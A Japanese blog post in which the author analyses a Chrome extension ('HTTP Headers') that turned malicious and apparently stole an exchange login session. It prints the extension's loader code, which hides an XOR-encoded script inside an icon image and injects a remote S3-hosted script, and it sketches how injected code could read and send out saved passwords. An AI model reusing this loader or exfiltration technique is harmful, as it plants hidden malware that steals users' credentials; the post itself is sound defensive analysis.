疑惑どころか 99.99% くらい黒な話。
(後記:セッション盗まれたと思ってたけど、よくよく考え直してみると生パスワードごと盗まれてる可能性もあるしやばい)
追記:続報
10月3日
今回指摘した HTTP Headers 以外にも、「Tab Manager」「Give Me CRX」「Live HTTP Headers」等で同様(?)の問題が報告されています。第三者が元の作者からソフトウェア権利を買い取って悪用する、というケースが割とある模様(?)。皆さま情報ありがとうございます。
経緯
2016年10月29日12時30分
自分が保有する Zaif の口座から 3.5 BTC (約25万円相当) が不正に送金されそうになっていた。幸い、Zaif 側の不正送金防止措置により、リクエストのあった BTC は送金されずに済んだ(Zaif 側の調査のため、その 3.5BTC は数日間ロックされ利用不能になったが)。
2016年11月1日19時14分
Zaif から調査結果報告があり、原因としてはログインセッション情報を何かしらの手段により盗まれた可能性がある、とのこと。また、同様の被害にあったユーザが自分以外にもいたことを知らされた。(ちなみに対策として二段階認証の設定を勧められたのですぐに該当設定を行った)
この時点ではどこからセッションが漏れたのか想像もつかない。
2016年11月3日
Chrome の Developer Tools Console に以下のような奇妙なログが流れているのを発見する。
VM254:1 GET http://s3.eu-central-1.amazonaws.com/forton/http_headers_1.js (anonymous function) @ VM254:1(anonymous function) @ VM254:1
当初は自分が開発中のスクリプト群(が参照するライブラリ)の関連かと思ったが、該当のスクリプトを参照するようなコードが見つからない。名前からして、最近インストールした HTTP Headers という Chrome 拡張に紐づいていそうな予感がしたので、その拡張を切ってみると、該当ログは出なくなった。
該当拡張 HTTP Headers のユーザーレビュー
- https://chrome.google.com/webstore/detail/http-headers/mhbpoeinkhpajikalhfpjjafpfgjnmgk/reviews
- 更新日: 2016年10月26日
日本語のコメントはゼロ。表示コメント条件を「すべての言語」に切り替える。
rulerofthesnetModified 21 時間前
INJECTING CODE AS OF LAST UPDATE
MALWARE!!!!!!!!!!!!
OH....
資料として該当拡張へのストアリンクを張ったが、各位インストールしないように気を付けていただきたい。
以下、技術的な調査記録なのでだるい人は一番下に3行まとめを書いたのでそこだけ読んでくれれば概要は分かる。
該当 Chrome 拡張 HTTP Headers の挙動
ストアコメントから察するに、何かしらの悪意のあるスクリプトが http_headers_1.js を通して注入されていたっぽい。
現時点では該当スクリプト http_headers_1.js にアクセスすることができない(AccessDenied 応答)ため、このスクリプトに悪意のあるコードが含まれていたと断言しきれないもどかしさがある。が、限りなく黒い。疑わしきは罰せずの原理がこの世に存在することも自分は当然理解しているが、さすがにこれだけやばいコメントがストアに残っている以上は99.9%くらい黒なのだろうし、以下に続く独自調査により、疑惑は99.99%くらいの確信に変わった。
スクリプト内容
現時点(11月3日)で入手できる HTTP Headers 1.0.3 (更新日: 2016年10月26日)のパッケージを念のため以下に保存しておいた。
中身を見てみる。
1.0.3_0/js/background.js
以下のような記述がある。(注記は kobake が書き足した)
.... var main = () => { chrome.runtime.getPackageDirectoryEntry(function (root) { var icon = "img/icon2.png"; // ★注記:パッケージ内画像ファイル root.getFile(icon, {}, function (fileEntry) { fileEntry.file(function (file) { var reader = new FileReader(); reader.onloadend = function (e) { var text = this.result; var idxF = text.lastIndexOf("init>"); // ★注記:何故か画像データ内から文字列検索 if (idxF < 0) return; text = text.substr(idxF + 5); var idxL = text.lastIndexOf("<end"); // ★注記:何故か画像データ内から文字列検索 if (idxL < 0) return; text = text.substr(0,idxL); for (var t = 0, r = text.length, n = ""; r > t;) n += String.fromCharCode(77 ^ text.charCodeAt(t++)); // ★注記:謎デコード var a = new window.Blob([n], { type: "text/javascript" }); addScript(window.URL.createObjectURL(a)); }; reader.readAsText(file); }, (e) => { ....
悪い臭いがしますね。
再現実験
background.js の例のデコード部分を実験的に実行してみます。
var url = 'http://dev.clock-up.jp/archives/icon2.png'; // 実験用に置いた fetch(url).then(function(response){ return response.text(); }).then(function(text){ var idxF = text.lastIndexOf("init>"); if (idxF < 0) return; text = text.substr(idxF + 5); var idxL = text.lastIndexOf("<end"); if (idxL < 0) return; text = text.substr(0,idxL); for (var t = 0, r = text.length, n = ""; r > t;) n += String.fromCharCode(77 ^ text.charCodeAt(t++)); // この時点で変数 n に怪しい文字列が構築されているはずなのでログ出力する console.log("---------------------------------"); console.log(n); console.log("---------------------------------"); // さすがに実行はしたくないので、ここはコメントアウト // var a = new window.Blob([n], { // type: "text/javascript" // }); });
以下、Chrome の Developer Tools Console での実行結果。
明らかに「s3.eu-central-1.amazonaws.com/forton/http_headers_1.js」を注入しようとしてきています。
今の時点ではこの http_headers_1.js にアクセスできないので正確を期した真相はグレーですが、少なくともこの AWS S3 上のスクリプトに書かれたコードは実行され放題だったわけです。辛い。
推測の話
10月26日 が HTTP Headers の最終更新日であり、
10月29日に誰かからセッション盗まれて BTC 口座に悪さされちゃったことから考えて、
根拠はない話なんですけど、タイミング的にこの2件が関係ないようには見えないです。
どうすればよかったのだろうか
言い訳がましい話になってしまいますが、利用者5万人で星4つ、って、信じちゃうじゃないですか。。
日本語レビューが1件も無かったことを怪しむべきだったか。
ちゃんと英語レビューに目を通すべきだったか。
しかしですね、Chrome 拡張のようなソフトウェア、というか、今現在多く普及している
とりあえず通報した。
3行まとめ
- ユーザ数の多い Chrome 拡張がいつの間にかマルウェアになってた
- 任意JavaScriptが実行されうる注入コードがアイコン画像の中に埋め込まれていた
- 自動アップデートされるソフトウェア全般において、これは避けようのない事故なんですかね?(問題提起)
事後
改めて考え直させられたのですが、全閲覧ページで任意JavaScriptスクリプト実行されるってかなりやばいですよね。
例えばブラウザに各サイトのログインパスワード保存させてる場合、ログインフォーム開くだけでパスワード欄にパスワード自動で入るじゃないですか。一応見た目上は伏字になってますが、 jQuery('.password').val() とかやれば普通に生パスワード取得できちゃうわけです。で、取得したパスワードを fetch で任意サーバに投げることなんかも当然できちゃうわけです。(悪意ある人間が用意した)サーバ側では当然DB保存です。セッションどころか生パスワードが敵の手に渡るわけです。完全なる死。
とりあえずこういうときこそ各サイトのパスワード変更しなきゃなぁ、、と思いました。(変更しました)